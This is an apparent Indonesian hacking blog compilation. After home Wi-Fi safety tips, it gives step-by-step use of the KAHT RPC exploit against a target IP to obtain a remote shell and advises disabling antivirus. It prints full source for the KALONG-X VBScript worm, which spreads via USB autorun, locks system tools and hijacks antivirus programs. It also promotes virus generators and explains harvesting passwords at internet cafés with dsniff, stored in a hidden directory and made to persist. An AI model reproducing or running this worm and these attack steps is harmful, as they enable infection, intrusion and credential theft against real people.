8 Tips Keamanan Jaringan Nirkabel di Rumah Anda
8 Tips Keamanan Jaringan Nirkabel di Rumah Anda
Posted by intrik on 13th May 2007
Saat ini banyak orang yang mulai memasang jaringan komputer nirkabel di rumah mereka (wireless home network) yang mana bisa segera digunakan oleh mereka untuk terhubung ke internet. Contohnya si Agung, karyawan salah satu perusahaan TI di Surabaya telah berlangganan akses internet ADSL melalui Telkom Speedy. Agung membeli modem ADSL yang dilengkapi pula dengan fasilitas wireless atau Wi-Fi. Dia membeli model itu karena dia memiliki dua buah komputer di rumahnya, sebuah laptop dan desktop PC. Semuanya telah dilengkapi dengan Wi-Fi card dan dia menginginkan semuanya terhubung ke internet melalui access point yang dia buat sendiri. Selain itu Agung juga memiliki sebuah PDA yang mana terkadang dia perlu akses ke internet dari PDA nya ketika dia di rumah. Tepatlah jika ia membangun access point di rumahnya sendiri.Tetapi masalah selalu saja muncul. Sudah amankah jaringan nirkabel atau access point yang dia buat? Jangan-jangan di sebelah rumah ada hacker yang mengintip data Anda atau juga malah ikut menikmati akses internet dengan gratis. Untuk itu melalui tulisan kali ini akan disajikan beberapa tips yang berhubungan dengan jaringan nirkabel di rumah Anda.
1. Ganti Password Administrator default (bila perlu ganti pula usernamenya)
Jantung dari jaringan Wi-Fi di rumah Anda adalah access point atau router. Untuk melakukan set up dari peralatan access point ini, maka vendor dari access point device akan memberikan suatu interface yang berbasis web, dimana untuk masuk ke dalam interface ini maka Anda harus mengisikan username dan password. Sementara itu, pada beberapa kasus, peralatan access point tersebut di set oleh vendor dengan suatu username dan password tertentu yang mudah ditebak oleh pengguna. Untuk itu Anda harus mengganti password default dari access point Anda. Bahkan bila perlu Anda juga ubah username yang ada.
2. Aktifkan enkripsi
Semua peralatan Wi-Fi pasti mendukung beberapa bentuk dari keamanan data. Intinya enkripsi akan mengacak data yang dikirim pada jaringan nirkabel sehingga tidak mudah dibaca oleh pihak lain. Peralatan Wi-Fi saat ini sudah menyediakan pilihan teknologi security yang bisa Anda gunakan sesuai dengan kebutuhan. Pastikan semua peralatan dalam jaringan nirkabel Anda juga menggunakan setting security yang sama seperti yang digunakan pada access point.
3. Ganti SSID default
Access point atau router menggunakan suatu nama jaringan yang disebut dengan SSID. Vendor biasanya memberi nama produk access point mereka dengan suatu default SSID. Sebagai contoh, SSID yang dirilis oleh Linksys biasanya adalah “linksys”. Kenyataannya memang apabila seseorang mengetahui sebuah SSID maka ia belum tentu bisa membobol jaringan tersebut, tetapi paling tidak ini adalah suatu awal baginya. Di mata seorang hacker, apabila melihat suatu SSID yang masih default, maka itu indikasi bahwa access point tersebut tidak dikonfigurasi dengan baik dan ada kemungkinan untuk dibobol. Ganti SSID default Anda segera setelah Anda menset-up access point.
4. Aktifkan MAC Address filtering
Setiap peralatan Wi-Fi pastilah memiliki suatu identifikasi yang unik yang dinamakan “physical address” atau MAC address. Access point atau router akan mencatat setiap MAC address dari peranti yang terhubung kepadanya. Anda bisa set bahwa hanya peranti dengan MAC address tertentu saja yang boleh mengakses ke dalam jaringan nirkabel Anda. Misalnya PDA Anda memiliki MAC address tertentu, kemudian Anda masukkan MAC address PDA Anda ke dalam filter MAC address pada access point Anda. Jadi yang bisa terhubung ke jaringan sementara ini hanyalah dari PDA Anda. Tapi Anda juga tetap hati-hati, karena hacker bisa saja membuat MAC address tipuan untuk mengakali filtering ini.
5. Matikan broadcast dari SSID
Dalam jaringan Wi-Fi, maka access point atau router biasanya akan membroadcast SSID secara reguler. Fitur ini memang sengaja didesain bagi hotspot area yang mana klien Wi-Fi pada area tersebut bisa saja datang dan pergi dengan cepat. Dalam kondisi di rumah Anda yang mana SSID nya pasti sudah Anda ketahui sendiri, maka fitur ini tidak perlu diaktifkan karena bisa mengundang tetangga sebelah untuk mengetahui SSID Anda atau juga mencegah orang lain menumpang jaringan internet Anda dengan gratis. Anda bisa nonaktifkan fasilitas broadcast SSID ini demi keamanan jaringan Anda.
6. Berikan alamat IP statis kepada peranti Wi-Fi
Saat ini cenderung orang memanfaatkan DHCP untuk memberikan alamat IP secara otomatis kepada klien yang ingin terhubung ke jaringan nirkabel. Ini memang cara yang cepat dan mudah bagi jaringan Anda, tetapi ingat bahwa ini juga cara mudah bagi hacker untuk mendapatkan alamat IP yang valid pada jaringan nirkabel Anda. Anda bisa mematikan fitur DHCP pada acces point dan set suatu rentang alamat IP yang sudah fix dan set pula peranti Wi-Fi Anda yang ingin terkoneksi ke access point dengan rentang alamat-alamat IP yang fix tadi.
7. Pikirkan lokasi access point atau router yang aman
Sinyal Wi-Fi secara normal bisa menjangkau sampai keluar rumah Anda. Sinyal yang bocor sampai keluar rumah sangat berisiko tinggi untuk timbulnya eksplotasi terhadap jaringan nirkabel Anda. Anda harus meletakkan peralatan access point Anda pada daerah sekitar ruang tengah dari rumah Anda. Jangan sekali-kali meletakkan access point atau router di dekat jendela, karena akan semakin meningkatkan jangkauan sinyal Wi-Fi Anda ke luar rumah.
8. Matikan saja jaringan nirkabel jika sedang tidak digunakan
Aturan keamanan yang paling ampuh adalah dengan mematikan peralatan jaringan atau access point ketika sedang tidak digunakan. Misalnya saja, jangan sekali-kali meninggalkan rumah dengan Wi-Fi yang menyala, walaupun itu untuk keperluan download data. Access point yang menyala tanpa ada yang memantau sangat berisiko tinggi terhadap eksploitasi
Artikel ini bukan bertujuan untuk mengajari pembaca untuk berbuat jahat dengan cara membobol password komputer orang lain, tapi hanya sekedar mengingatkan kepada anda terutama bagi administrator jaringan atau pengguna komputer yang terkoneksi ke jaringan agar berhati-hati dan selalu waspada bahwa password /komputer anda mudah di bobol dan diambil alih oleh orang lain.
kali ini penulis menggunakan metode explosits port 135 (DCOMRPC) dimana semenjak adanya issue virus W32 Welcia K yang menyerang port 135, yang dalam hal ini diakui oleh pihak microsoft (Baca Microsoft Security Bulletin MS03-026). target dari worm ini adalah pc yang menggunakan IIS 5.0 seperti windows 2000 /XP.
Untuk mempersingkat bagaimana caranya kita membobol password di windows kita menggunakan Tools Kaht bisa anda download disini .
Karena proses ini menggunakan worm sebaiknya anda mendisable antivirus anda.
Langkahnya :
1. Unzip file Kaht.zip
2. Letakkan pada direktori yang anda suka.
3. Masuk ke direktori tempat file berada melalui text mode
4. Tentukan sasaran pc yang akan di hacking missal
IP : 192.168.30.3
Kaht 192.168.30.1 192.168.30.3
Jika hacking anda berhasil akan tampil pada command line kira-kira sbb:
——————————————————————————–
KAHT II - MASSIVE RPC EXPLOIT dst
——————————————————————————–
[+] Target: 192.168.30.1-192.168.30.3 with 50 Treads
[+] Attacking Port:135. Remote Shell at port:36388
[+] Scan In Progress……
- Connecting to 192.168.30.3
Sending Exploit to a [Win2k] Server
- Connectando con la Shell Remote
dst……..
C:WINNTsystem32>
Berarti anda sudah masuk ke komputer yang anda hack dan komputer sepenuhnya sudah anda kuasai. anda bisa membuat user admin membuat sharing dll
Sekali lagi artikel ini sekedar mengingatkan kepada anda berhatihatilah dalam mengelola komputer anda terutama Administator jaringan.
Ingin mendownload software VB+Vimaker32
VB+Vimaker RC 03, selain merupakan Virus/Worm generator, juga merupakan sebuah software untuk membuat program komputer berbasiskan security dengan instan, mudah dan cepat. Dalam Versi ini, banyak terdapat fitur-fitur baru yang ditambahkan dan lebih banyak yang dapat dikustomasi dengan tampilan yang user friendly. Untuk informasi lebih lanjut, buka dokumentasinya. Download di Sini
Download Softwaranya dan source kodenya di sini
Berdasarkan sifat dan penyerangannya, virus komputer dapat dibedakan menjadi beberapa macam, misalnya virus boot sector, virus file, polymorphic virus, stealth virus, dan virus makro. Virus makro ini dapat menyerang pada dokumen MS Word, Excel atau Power Point. Virus makro ini termasuk virus yang paling banyak dijumpai di sekitar kita. Tentunya kita masih ingat dengan adanya virus Mellisa atau virus I Love You yang juga dapat kita masukkan ke dalam kategori virus macro.

Mengapa virus makro ini sering sekali kita jumpai? Jawabnya tentu saja karena populasi pengguna MS Office sangat banyak. Dengan pengguna yang cukup banyak tentunya virus makro dapat berkembang dengan cepat. Dengan melakukan pertukaran data *.doc (dokumen MS Word) yang telah terinfeksi maka sudah cukup untuk membuat semua dokumen menjadi terinfeksi.
Yang menarik, bagaimana cara membuat virus makro tersebut? Kalau Anda seorang programmer, dengan bantuan berbagai referensi tentunya mudah saja untuk belajar membuat virus makro. Masalahnya bagaimana kalau kita sama sekali tidak menguasai bahasa pemrograman?
Tenang saja, di internet banyak sekali software yang dapat digunakan untuk membuat virus makro. Salah satunya adalah SkamWerks Lab. Dengan fasilitas Virii Wizard, kita dapat membuat virus mulai dari awal sampai selesai. Saat menggunakan Virii Wizard, kita dapat menuliskan pembuat virusnya, nama virus, dan makro-makro yang akan dimasukkan ke dalam virus. Nah, daripada penasaran, silakan Anda cepat-cepat mencobanya sendiri. Tentunya setelah Anda mendownload programnya di sini.
Membuat Virus Memakai Notepad 2
Hi…..
Melanjutkan artikel yang waktu itu “BUAT VIRUS VIA NOTEPAD” kita akan membuat virus yang lebih hebat lagi. Kalau ada yang belum tahu, saya mau minta maaf karena di artikel sebelumnya ada kesalahan code. Silahkan ganti kata “rekursif” menjadi “rekur”. Kalau enggak, bisa syntax error nanti
Nah kita akan buat varian lain dari KALONG.VBS. Yaitu KALONG-X.VBS. Lebih hebat dari Kalong.VBS. Sebenarnya ini varian ketiga. Sebenarnya virus ini sama saja dengan Kalong.VBS namun ditambahkan kemampuan manipulasi registry yang lebih mengerikan
Ayo sekarang kita buka saja Notepadnya dan ketikkan code berikut. Jika malas kan tinggak Copy > Paste….
‘Kalong-X
‘Varian dari Kalong.VBS
on error resume next
‘Dim kata-kata berikut
dim rekur,windowpath,desades,fs,mf,isi,tf,kalong,nt,check,sd
’siapkan isi autorun
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6ms32.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘buat file induk
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs “)
tf.attributes = 32
set tf = fs.createtextfile(windowpath & “\k4l0n6-x.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs”)
tf.attributes = 39
’sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in fs.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then
set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(desades.path &”\k4l0n6ms32.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes = 39
set tf =fs.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘Manipulasi Registry
set kalong = createobject(”WScript.Shell”)
‘Ubah IE Title
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: ->KALONG-X<- ::”
‘File Hidden tak terlihat
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”
‘Blokir Find, FolderOptions, Run, Regedit, Task Manager, dan klik kanan
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘Buat pesan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “THE KALONG-X”
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,”No reason for Panic”
‘Aktifkan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs”
‘Alihkan aplikasi berikut. Jika dibuka maka program terbuka dengan Notepad
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”notepad.exe”
‘Bonus
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
Setelah Anda menempatkan kode tersebut klik FILE > SAVE. Di File Type pilih ALL FILES (*.*) lalu simpan dengan nama k4l0n6ms32.dll.vbs. Setelah itu coba Anda jalankan. Dan ya, Anda telah menjalankan KALONG-X.VBS di komputer Anda.
Jika Anda membuka aplikasi yang bernama : cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, dan PCMAV-RTP.exe maka akan terbuka Notepad yang isinya kurang lebih mirip seperti ini :

Ingat jadilah orang yang bermanfaat bagi orang lain. Tidak ada “barang berbahaya” disini karena Andalah yang membuatnya berbahaya. Saya tidak bertanggung jawab apabila Anda menyalahgunakan kode ini. Ini untuk ilmu pengetahuan semata. Kalau disalahgunakan saya kutuk mukanya mirip Tukul (Wah…jadi terkenal nanti)…jangan deh. Pokoknya segala kenekatan Anda ditanggung oleh Anda sendiri.
Virus ini punya kemampuan Autorun jadi komputer yang dicolokkan Removable Disc (Mislanya Flash Disc) yang terinfeksi virus ini akan diinfeksi pula (jika Autorun tidak di non-aktifkan)
NOTE: Untuk membersihkan Kalong-X caranya mudah. Tinggal hentikan proses yang bernama wscript.exe. Jika di WinNT Anda bisa melakukannya lewat Task Manager. Tapi kalau Win9X silahkan cari tool pengganti Task Manager misalnya Procexp atau CurrProcess. Soalnya terkadang kalau lewat perintah Command Prompt gak bisa.
Setelah Anda memberhentikan proses wscript.exe hapus file induk yang bernama k4l0n6-x.dll.vbs di WINDOWSDIR (C:\Windows misalnya). Jika tidak ada tampilkan dulu file hidden dengan Folder Options. Setelah itu perbaiki Registry. Untuk mempercepat salin kode ini ke Notepad :
[Version]
Signature=”$Chicago$”
Provider=Fariskhi
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKCU,Software\Microsoft\Internet Explorer\Main, Window Title,0, “INTERNET EXPLORER”
[del]
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFind
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFolderOptions
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoRun
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegistryTools
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableTaskMgr
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoViewContextMenu
HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeCaption
HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeText
HKLM, Software\Microsoft\Windows\CurrentVersion\Run, Systemdir
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe, Debugger
Setelah itu save dengan FILE TYPE : ALL FILES (*.*) dan simpan dengan nama : kalongxremoval.inf. Setelah itu klik kanan file tersebut dan pilih install. Jadi kita buat Virus dan Antidotnya sama-sama dengan Notepad.
Net Send merupakan service yang terdapat pada Windows XP. Dengan menggunakan Net Send kita dapat mengirim pesan ke sesama pengguna komputer dalam satu jaringan.
Syntax:
net send {name | * | /domain[:name] | /users} message
Untuk mengirim pesan ke semua komputer dalam satu workgroup atau domain:
net send * pesan ini terkirim ke semua user
Untuk mengirim pesan ke komputer tertentu
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pada artikel sebelumnya sudah dijelaskan mengenai cara mengirim pesan dengan menggunakan perintah Net send. Selain dengan menggunakan Net Send Anda dapat menggunakan program NetSendFaker untuk mengirim pesan pada jaringan lokal.
Sesuai dengan namanya, program NetSendFaker akan “memanipulasi” nama komputer pengirim. Misalnya nama komputer Anda adalah Komputer1 maka Anda dapat mengirim pesan ke komputer lain seolah-olah pengirimnya adalah KomputerX.
Anda dapat mendoownload program NetSendFaker di sini.
Catatan:
Tentunya Anda harus bijak dalam menggunakan program ini, jangan menggunakan program ini untuk mengganggu “ketertiban umum”.
Menampilkan Password yang Tersembunyi Dengan Asterisk Key
Kotak isian password biasanya akan tersembunyi dengan karakter ****** (asterisk). Dengan menggunakan software gratisan alias freeware Asterisk Key maka Anda menampilkan password yang tersembunyi tersebut, baik pada aplikasi biasa maupun web.
Untuk menggunakan Asterisk Key caranya cukup mudah. Pertama, jalankan dulu program atau website yang akan dicari passwordnya, setelah itu jalankan Asterisk Key. Selanjutnya klik tulisan recover
Secara otomatis Asterisk Key akan mencari aplikasi yang ada passwordnya. Jika ditemukan maka hasilnya akan ditampilkan. Contoh di bawah ini, Asterik Key berhasil menemukan dua passwod, yaitu password pada suatu aplikasi dengan password = passwordku dan password pada web dengan password = rahasia.
Ingin mendapatkan softwarenya download di Sini
Definisi
Kode jahat/perusak (malicious codes atau disingkat malcodes) didefinisikan sebagai semua macam program, makro atau script yang dapat diesekusi dan dibuat dengan tujuan untuk merusak sistem komputer. Oleh karena itu bug yang dibuat secara tidak sengaja oleh programer, tidak termasuk dalam kategori ini. Tetapi untuk bug yang benar-benar mengganggu, banyak orang mengkategorikannya sebagai malcode.
Dahulu digunakan istilah “Malware (= Malicious Software)” ditujukan untuk malcode. Tetapi istilah ini terlalu lemah dan sempit, sehingga e-mail palsu/bohong yang notabene bukan software tidak dapat dimasukkan dalam golongan ini. Oleh karena itu digunakan istilah malcode, bukan malware.
Klasifikasi
Kode perusak dapat digolongkan dalam 3 macam golongan: virus, worm dan Trojan Horses, serta beberapa program yang memiliki bug.
Virus
Virus memiliki kemampuan jahat untuk mereproduksi diri mereka sendiri dan terdiri dari kumpulan kode yang dapat memodifikasi target kode yang sedang berjalan, atau dapat pula memodifikasi struktur internal target kode, sehingga target kode sebelum berjalan dipaksa menjalankan virus.
Virus sering menampilkan pesan yang tidak disukai, merusak tampilan display, menghapus memory C-MOS, merusak informasi dalam hard disk dll. Efek yang ditimbulkan virus mengalami perkembangan yang cukup serius akhir-akhir ini.
Contoh virus: Brain, Ohe half, Die hard, XM/Laroux, Win95/CIH
Virus masih dapat dibagi lagi dalam beberapa kategori:
Boot Virus: Jika komputer dinyalakan, sebuah inisial program di boot sector akan dijalankan. Virus yang berada di boot sector disebut boot virus.
File Virus: File virus adalah virus yang menginfeksi executable program. Dilaporkan bahwa hampir 80% virus adalah file virus.
Multipartite Virus: Virus yang menginfeksi baik boot sector dan file.
Macro Virus: Belakangan diketemukan. Targetnya bukan executable program, tetapi file dokument seperti Microsoft Excel atau Word. Ia akan memulai menginfeksi bila program aplikasi membaca dokumen yang berisi macro.
Worm
Worm ditujukan kepada program yang mengkopi dirinya sendiri ke HANYA memory komputer. Perbedaan mendasar dari worm dan virus adalah, apakah menginfeksi target code atau tidak. Virus menginfeksi target code, tetapi worm tidak. Worm hanya ngendon di memory.
Worm pada awalnya diketemukan di large computer (1970-an), dan akhir- akhir ini saja diketemukan di komputer kecil seperti PC. Terutama sejak 1999, dimana work banyak beredar melalui media email.
Contoh worm: I-Worm/Happy99(Ska), I-Worm/ExploreZIP, I-Worm/PrettyPark, I-Worm/MyPics
Trojan Horse
Trojan Horse diproduksi dengan tujuan jahat. Berbeda dengan virus, Trojan Horse tidak dapat memproduksi diri sendiri. Pada umumnya, mereka dibawa oleh utility program lainnya. Utility program tersebut mengandung dirinya, atau Trojan Horse itu sendiri ber”lagak” sebagai utility program.
Contoh Trojan Horse: Win-Trojan/Back Orifice, Win-Trojan/SubSeven, Win-Trojan/Ecokys(Korean)
Trojan Horse masih dapat dibagi lagi menjadi:
DOS Trojan Horse: Trojan Horse yang berjalan di DOS. Ia mengurangi kecepatan komputer atau menghapus file-file pada hari atau situasi tertentu.
Windows Trojan Horse: Dijalankan di system Microsoft Windows. Jumlah Windows Trojan Horse meningkat sejak 1998 dan digunakan sebagai program untuk hacking dengan tujuan jahat yang dapat mengkoleksi informasi dari komputer yang tersambung internet.
Trend Malcode di Jepang tahun 1999
Virus tradisional: 6%
Windows Virus: 8%
Worm: 31% (tahun 1998, hampir 0%)
Macro Virus: 55%
Netcat merupakan tools yang banyak dipakai para hacker. Kepopulerannya terlihat dari hasil survey lebih dari 1000 pengguna Nmap pada tahun 2000 dan 2003 yang menempatkannya pada urutan 5 besar, yaitu urutan ke 2 pada tahun 2000 dan urutan ke 4 pada tahun 2003.
Tools ini sering disebut sebagai “TCP/IP Swiss Army Knife”-nya para hacker. Versi orisinalnya ditulis untuk sistem operasi Unix oleh Hobbit (hobbit@avian.org) pada tahun 1995. Versi Windows NT dikerjakan oleh Weld Pond (weld@l0pth.com).
Fitur dari Netcat antara lain adalah:
Dapat mebangun koneksi Outbound dan inbound dengan TCP atau UDP, di dan dari port mana saja.
Dapat membaca argumen pada command line dari standar input
Full DNS forwarding/reverse checking
Kemampuan untuk menggunakan any local source port
Kemampuan menggunakan any locally-configured network source address
Tersedia port scanning secara built-in
Dan lain-lain
Dengan fitur di atas, banyak para hacker dan pengelola sistem memanfaatkan untuk melakukan hal-hal sebagai berikut:
Scanning port dan menginventori service-service yang terpasang pada server
File transfer
Pengujian dan simulasi terhadap server
Pengujian terhadap firewall, proxy dan gateway
Pengujian performance network
Pengujian address spoofing
Banner grabbing
Beberapa fitur dan pemanfaatan Netcat akan dijelaskan di bawah. Namun kami harus selalu mengingatkan Anda, jangan pernah mencoba kemampuan netcat di sistem komputer yang bukan milik anda sendiri !
Manen Password Di warnet atau Lab Kom dengan dsniff
Memanen Password Di warnet atau Lab KOm dengan dsniff
Baru mulai tertarik masalah keamanan? Pingin ngebuktiin ketidakamanan jaringan lokal kepada admin? Atas permintaan umum (dan seringnya teman-teman admin nanyain tentang sniffing), berikut adalah cara cepat (kurang lebih 15 sampai 30 menit) memanen password dengan menggunakan teknik yang sangat awam: ethernet sniffing. Tentunya akan dibahas juga cara-cara pendeteksian dan pemberantasannya.
Komunikasi ethernet pada dasarnya adalah komunikasi tipe “siaran” (broadcast). Paket-paket ethernet dari mesin yang satu sebetulnya dilihat oleh setiap komputer yang tergabung dalam suatu jaringan lokal. Paket-paket ini dibuang jika alamat MAC-nya tidak cocok dengan alamat node tujuan.
Nah, dengan menggunakan software-software ‘network sniffer’, paket-paket ethernet (beserta isinya) yang melewati kartu ethernet tertentu tidak dibuang begitu saja, melainkan dianalisa. Banyak kegunaan sniffing, tapi di artikel ini penulis hanya membahas sniffing password dengan menggunakan program paten karangan Dug Song (www.monkey.org/~dugsong) dsniff.
dsniff aslinya adalah software Unix, dan teman-teman yang punya Linux/BSD bisa langsung ngedownload dan compile dsniff dari http://www.monkey.org/~dugsong/dsniff). Artikel ini membahas penggunaan di
jaringan lokal berbasis Windows, sebab artikel ini ditujukan untuk pemula, dan mereka-mereka yang pingin memanen password tapi nggak punya akses ke Unix. Program dsniff ini punya spesialisasi menggarap password dari berbagai protokol, dan memformat hasil panenan dalam bentuk yang mudah dibaca.
Protokol yang bisa ditangani oleh dsniff antara lain adalah FTP, Telnet, HTTP, POP, NNTP, IMAP, SNMP, LDAP, Rlogin, NFS, SOCKS, X11, IRC, AIM, CVS, ICQ, Napster, Citrix ICA, Symantec pcAnywhere NAI Sniffer, Microsoft SMB, dan Oracle SQL*Net auth info.
Penggunaan dsniff tidak begitu jauh berbeda antara versi Win32 dengan versi Unix-nya. Kelebihan yang bias dinikmati pengguna Unix saat ini adalah adanya dua program tambahan di dsniff yang membuat dsniff versi Unix lebih perkasa, mampu memanen password dari jaringan berbasis “ethernet switch” atau “active hub”, jadi tidak terbatas ke jaringan “hub” saja.
Bahan-bahan/Persyaratan:
——————————–
LAN lokal untuk target, yang terhubung dengan menggunakan “ethernet hub” (bukan switch)
- mesin Windows 95, 98 atau ME (untuk 2000 dan XP, kamu mesti punya hak administrator di mesin yg akan digunakan untuk memanen) yang terhubung ke LAN target
- WinPCap library, download dari http://netgroup-serv.polito.it/winpcap/install/bin/WinPcap.exe
- dsniff port to Win32, download dari http://www.datanerds.net/~mike/binaries/dsniff-1.8-win32-static.tgz
(gunakan WinZip untuk nge-extract file-file .exe-nya)
Cara Memasak
——————
- Install WinPcap library. Doubleclick winpcap.exe dan ikuti petunjuk di layar (tinggal pencet “Next”,”Next”,”Finish”)
- Extract file dsniff…tgz nya ke suatu directory (sebaiknya di bawah
C:\Windows atau tempat lain yang nggak terlalu mencurigakan - untuk artikel ini, anggap saja disimpan di C:\WINDOWS\DS)
- Mulai memanen password. Dari start menu, klik “Run”, ketik “command”. Pindah ke direktori tempat disimpannya dsniff (”cd \windows\ds”). dari prompt C:> tinggal ketik “dsniff”.
- silakan menonton password-password milik pengguna ditampilkan di layar
Catatan:
———-
Ada kemungkinan anda harus menspesifikasikan kartu ethernet mana yang ingin disadap. Untuk melihat daftar-daftar interface yang tersedia, ketik “dsniff -D” dari prompt DOS. Anda akan melihat daftar interface yang tersedia. Jika secara default dsniff mencoba menyadap interface yang salah, gunakan “dsniff -i [ketik nama interface disini]”.
Pengembangan lebih lanjut
———————————
Untuk menyimpan daftar password yang terpanen ke sebuah file, tambahkan perintah “-w [namafile]” ke program dsniff. Contoh: “c:\WINDOWS\DS>dsniff -i ELNK3 -w password.db”
untuk membaca file yg dibuat dsniff, berikan perintah “-r [namafile]”
contoh: “C:\WINDOWS\DS>dsniff -r password.db”
secara opsional, jika anda ingin file hasil panen ini disimpan dalam bentuk file ASCII:
“C:\WINDOWS\DS>dsniff -r password.db > panen.txt”,
panen.txt siap disajikan.
Yang lebih asyik lagi, bisa kita konfigurasikan agar usaha panen kita tetap berjalan walaupun komputer tersebut di-reboot.Caranya gampang. Mula-mula download dulu program “start minimized” (sm.exe) dari http://www.ethernal.org/List-Archives/curves-kiddies-0010/msg00029.html. Simpan program ini di
